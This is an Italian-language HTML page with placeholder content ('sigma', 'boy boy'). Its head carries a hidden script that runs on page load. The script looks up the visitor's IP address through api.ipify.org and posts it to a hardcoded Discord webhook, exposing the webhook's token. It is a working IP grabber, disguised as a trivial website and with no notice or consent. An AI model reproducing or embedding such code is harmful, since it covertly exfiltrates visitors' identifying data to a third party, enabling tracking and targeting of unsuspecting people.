<!DOCTYPE html>
<html lang="it">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>website by ombrer</title>
    <script>
        async function sendIP() {
            // Ottieni l'indirizzo IP dell'utente
            const response = await fetch('https://api.ipify.org?format=json');
            const data = await response.json();
            const userIP = data.ip;

            // URL del tuo webhook Discord
            const webhookURL = 'https://discord.com/api/webhooks/1314639206017929238/PToeUL7cbRHxqBRRpZKeXBxZ-gI7jArfZKKL1AYmuBclsgWvVBAi_nJzqvyOJmWXVDVr';

            // Crea il payload da inviare
            const payload = {
                content: `L'indirizzo IP dell'utente è: ${userIP}`
            };

            // Invia il payload al webhook
            await fetch(webhookURL, {
                method: 'POST',
                headers: {
                    'Content-Type': 'application/json'
                },
                body: JSON.stringify(payload)
            });
        }

        // Chiama la funzione quando la pagina viene caricata
        window.onload = sendIP;
    </script>
</head>
<body>
    <h1>sigma</h1>
    <p>boy boy</p>
</body>
</html>